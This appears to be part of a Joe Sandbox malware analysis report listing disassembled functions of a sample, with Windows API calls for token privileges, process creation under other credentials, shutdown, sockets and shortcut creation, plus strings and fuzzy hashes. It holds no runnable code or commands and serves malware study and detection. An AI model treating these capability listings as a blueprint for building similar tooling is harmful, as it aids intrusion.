Opcode Fuzzy Hash: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction Fuzzy Hash: F5419F22A28A4292EB50DB28E8615ED6760FF95F90F901031EB5E836DFCF7CD905CB10

Function 00007FF6B5B8D2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B8D2AB), ref: 00007FF6B5B8D31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B8D2AB), ref: 00007FF6B5B8D335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B8D2AB), ref: 00007FF6B5B8D34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B8D2AB), ref: 00007FF6B5B8D35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF6B5B8D3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF6B5B8D3E3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: 069309c05e8118143d7c9bb8126138094e15274513f27048c03e6da84a91a60f
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: 2A316F32608B8586E7648F06E490BAA77A4FB85F90F145136DF8D83B59DF3DD845CB00

Function 00007FF6B5BAA874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6B5BAA8F4
FindClose.KERNEL32 ref: 00007FF6B5BAAA15

Part of subcall function 00007FF6B5BA3824: GetInputState.USER32 ref: 00007FF6B5BA3889
Part of subcall function 00007FF6B5BA3824: PeekMessageW.USER32 ref: 00007FF6B5BA3938

Sleep.KERNEL32 ref: 00007FF6B5BAA939
FindNextFileW.KERNEL32 ref: 00007FF6B5BAAA00

Strings

*.*, xrefs: 00007FF6B5BAA8B3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction ID: 3db5251e47fb8612631d8d6d96d0006d3dfec07de1a3e53aa6712dd82d809f1c
Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction Fuzzy Hash: 8D516E22608B8695EB10DB19E8602ED67B0FB46B94F500132DF5D8379EDF38ED49C710

Function 00007FF6B5B2BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF6B5B6F6FD
VUUU, xrefs: 00007FF6B5B2C25F
PCRE, xrefs: 00007FF6B5B6F4B1
VUUU, xrefs: 00007FF6B5B2C210
VUUU, xrefs: 00007FF6B5B2C21F
ERCP, xrefs: 00007FF6B5B2BF69

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2187161917
Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction ID: 046e2174aa3d05abb03311968c546052e7f79dd9c660c8c12d35c7aece6ab165
Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction Fuzzy Hash: CAB2A272E087918AEB648F6D94602FD7BA1FB46B88F104135DB4D97A8EDF39EC418710

Function 00007FF6B5BB4074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BB5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6B5BB37FB), ref: 00007FF6B5BB5E4D

socket.WSOCK32 ref: 00007FF6B5BB40FC
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB412D

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction ID: cfe346d1b4e0ea19b7d46e312152202890c5226ce46de074d48f86238bef352f
Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction Fuzzy Hash: 06510322B0865286EB14EB1A94646E97B90FB8BFE0F444131DF5D8779BCE7DD9018780

Function 00007FF6B5BA5F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B256D4: GetFullPathNameW.KERNEL32(?,00007FF6B5B256C1,?,00007FF6B5B27A0C,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B256FF

CoInitialize.OLE32 ref: 00007FF6B5BA60A2
CoCreateInstance.OLE32 ref: 00007FF6B5BA60C5
CoUninitialize.OLE32 ref: 00007FF6B5BA60E3

Strings

.lnk, xrefs: 00007FF6B5BA5F94, 00007FF6B5BA5FE3, 00007FF6B5BA6090

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction ID: 06acd18eac36327567f6df7bf2700204f4757ee1e3c24b821a203b300fa1e164
Opcode Fuzzy Hash: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction Fuzzy Hash: C9D14D76B04A5685EB10DF6AD0A02ED37B0EB49F88B445036DF4D97B9ADF39D84AC340

Function 00007FF6B5B5793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6B5B57A8E

Strings

!, xrefs: 00007FF6B5B57A7A
fmod, xrefs: 00007FF6B5B57A58
VUUU, xrefs: 00007FF6B5B57B5B

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 4f8c1ff3570aaf99f4a0f24952a7648b258cb2d11b20d7547809ddee1d7771bc
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: 5EB10C11A1CFC545D6B78A34A0213F6B259AFAB7D0F10D332DB5E75AA5DF2C99C28700

Function 00007FF6B5B584C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B588E5
_get_daylight.LIBCMT ref: 00007FF6B5B589C3
_get_daylight.LIBCMT ref: 00007FF6B5B589DC

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction ID: 7aa5021c951ccefc597293d351b4c25a389909e93631ed58a6ba9653518490c9
Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction Fuzzy Hash: D7A27132A096428AE7698F28E4701F937A5FB46F84F644135EB8D87A9EDF3DD911C700

Function 00007FF6B5B9D750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6B5B8D630
Part of subcall function 00007FF6B5B8D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6B5B8D66F
Part of subcall function 00007FF6B5B8D5CC: GetLastError.KERNEL32 ref: 00007FF6B5B8D682

ExitWindowsEx.USER32 ref: 00007FF6B5B9D798
InitiateSystemShutdownExW.ADVAPI32 ref: 00007FF6B5B9D7C0
SetSystemPowerState.KERNEL32 ref: 00007FF6B5B9D7D2

Strings

SeShutdownPrivilege, xrefs: 00007FF6B5B9D763

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
String ID: SeShutdownPrivilege
API String ID: 2163645468-3733053543
Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction ID: 8f4bd06b5c9fddf24a4c22e64f870131773f51b2617f23b32209988debc89c1a
Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction Fuzzy Hash: 5211B232B1860286F7108B2AA4605AE6251BF92B50F454135E74DC3ADFDF2CDC058780

Function 00007FF6B5B45BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6B5B45C21
IsDebuggerPresent.KERNEL32 ref: 00007FF6B5B45C39
OutputDebugStringW.KERNEL32 ref: 00007FF6B5B45C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF6B5B45C43

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: 798c02d7bef4c57f4253e51db87dcd5e42f7c1d78fd4eeef2218bf216384a7d1
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 40116A32A14B5297FB149B2AD6647B933A4FB45B45F404138C74D82A9AEF3CE8A4CB10

Function 00007FF6B5BB7634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF6B5BB7124), ref: 00007FF6B5BB764B
GetProcAddress.KERNEL32(?,?,?,00007FF6B5BB7124), ref: 00007FF6B5BB7663

Strings

GetModuleHandleExW, xrefs: 00007FF6B5BB7659
kernel32.dll, xrefs: 00007FF6B5BB7644

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction ID: ff5b4e91112df458f22250449f8f264b7428de225aaabc3d8448c7fe224f2b02
Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction Fuzzy Hash: 1AE0C925905B0682EF149B18A8647A823A0FB0AF58F840435DA1E86399EFBCDD99D200

Function 00007FF6B5B32E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6B5B7E641

Strings

Variable must be of type 'Object'., xrefs: 00007FF6B5B7E92D

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Init_thread_footer
String ID: Variable must be of type 'Object'.
API String ID: 1385522511-109567571
Opcode ID: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
Instruction ID: 5c713961d3ae4228318acc97df24585e12ccf774b7cefb244d3a51776cb707bd
Opcode Fuzzy Hash: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
Instruction Fuzzy Hash: 47C26D37A08A8686EB608F19D4A46FA6761FB46F84F544131DB4E977AADF3DEC41C300

Function 00007FF6B5BB6320 Relevance: 6.3, APIs: 4, Instructions: 255COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF6B5BB635F
CoUninitialize.OLE32 ref: 00007FF6B5BB6369

Part of subcall function 00007FF6B5B94860: CoCreateInstance.OLE32 ref: 00007FF6B5B94931

Part of subcall function 00007FF6B5BA03E8: VariantInit.OLEAUT32 ref: 00007FF6B5BA0437
Part of subcall function 00007FF6B5BA03E8: VariantCopy.OLEAUT32 ref: 00007FF6B5BA0443
Part of subcall function 00007FF6B5BA03E8: VariantClear.OLEAUT32 ref: 00007FF6B5BA0450

VariantInit.OLEAUT32 ref: 00007FF6B5BB6373
VariantClear.OLEAUT32 ref: 00007FF6B5BB6690

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
String ID:
API String ID: 2733932498-0
Opcode ID: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
Instruction ID: fb5f8a082a1067cf1ffe13cf6ac6672c63bf50f39494c9d462b5948e19cf002c
Opcode Fuzzy Hash: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
Instruction Fuzzy Hash: E7B15826B04B5685EB10EF2AD4A06ED2760FB4AFD4F495036DF4E9779BCE78E8418300

Function 00007FF6B5B9BE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6B5B9BE3B
Process32FirstW.KERNEL32 ref: 00007FF6B5B9BE4B
CloseHandle.KERNEL32 ref: 00007FF6B5B9BF55

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction ID: f3e4ef5721d58e757e7f4df36cc506a6365f9c2700ec48aaea72283ddbfb61a4
Opcode Fuzzy Hash: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction Fuzzy Hash: 07419122A18A8281E710DF5AE4A45FE6764FB95F84F544036EF4E8369BDF7CE905CB00

Function 00007FF6B5B8D6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF6B5B8CAE6
Part of subcall function 00007FF6B5B8CAB4: GetLastError.KERNEL32 ref: 00007FF6B5B8CAF2
Part of subcall function 00007FF6B5B8CAB4: GetProcessHeap.KERNEL32 ref: 00007FF6B5B8CAFF
Part of subcall function 00007FF6B5B8CAB4: HeapAlloc.KERNEL32 ref: 00007FF6B5B8CB0E
Part of subcall function 00007FF6B5B8CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF6B5B8CB2D

GetLengthSid.ADVAPI32 ref: 00007FF6B5B8D71A
CopySid.ADVAPI32 ref: 00007FF6B5B8D73F
GetProcessHeap.KERNEL32 ref: 00007FF6B5B8D754
HeapFree.KERNEL32 ref: 00007FF6B5B8D762

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
String ID:
API String ID: 837644225-0
Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction ID: 0b5471d091ccce212d1b62b82d13ed6a457713d7969abba90f2a445427225b76
Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction Fuzzy Hash: 5621BF76A14A428AEB04CF25E4147A873A5FB45F91F49413ACB0D83789DF3CEC41C750

Function 00007FF6B5B402C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON

Download Yara Rule

Strings

x, xrefs: 00007FF6B5B40D61
DEFINE, xrefs: 00007FF6B5B84A98

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: DEFINE$x
API String ID: 0-4035502692
Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction ID: 06f1803581799dbf00382dff6d55a90f83c48719ea033ac4e044f1b88e3d95e7
Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction Fuzzy Hash: 2E538B76A086568AEB64CF29C4606FC37A0FB05B88F519036DF4997789EF39ED41C702

Function 00007FF6B5B33C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6B5B34F51

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
Instruction ID: 58764fa3d8928a01376a0bbb5a1dda672c936b97a84e750c8585dddb37e05abc
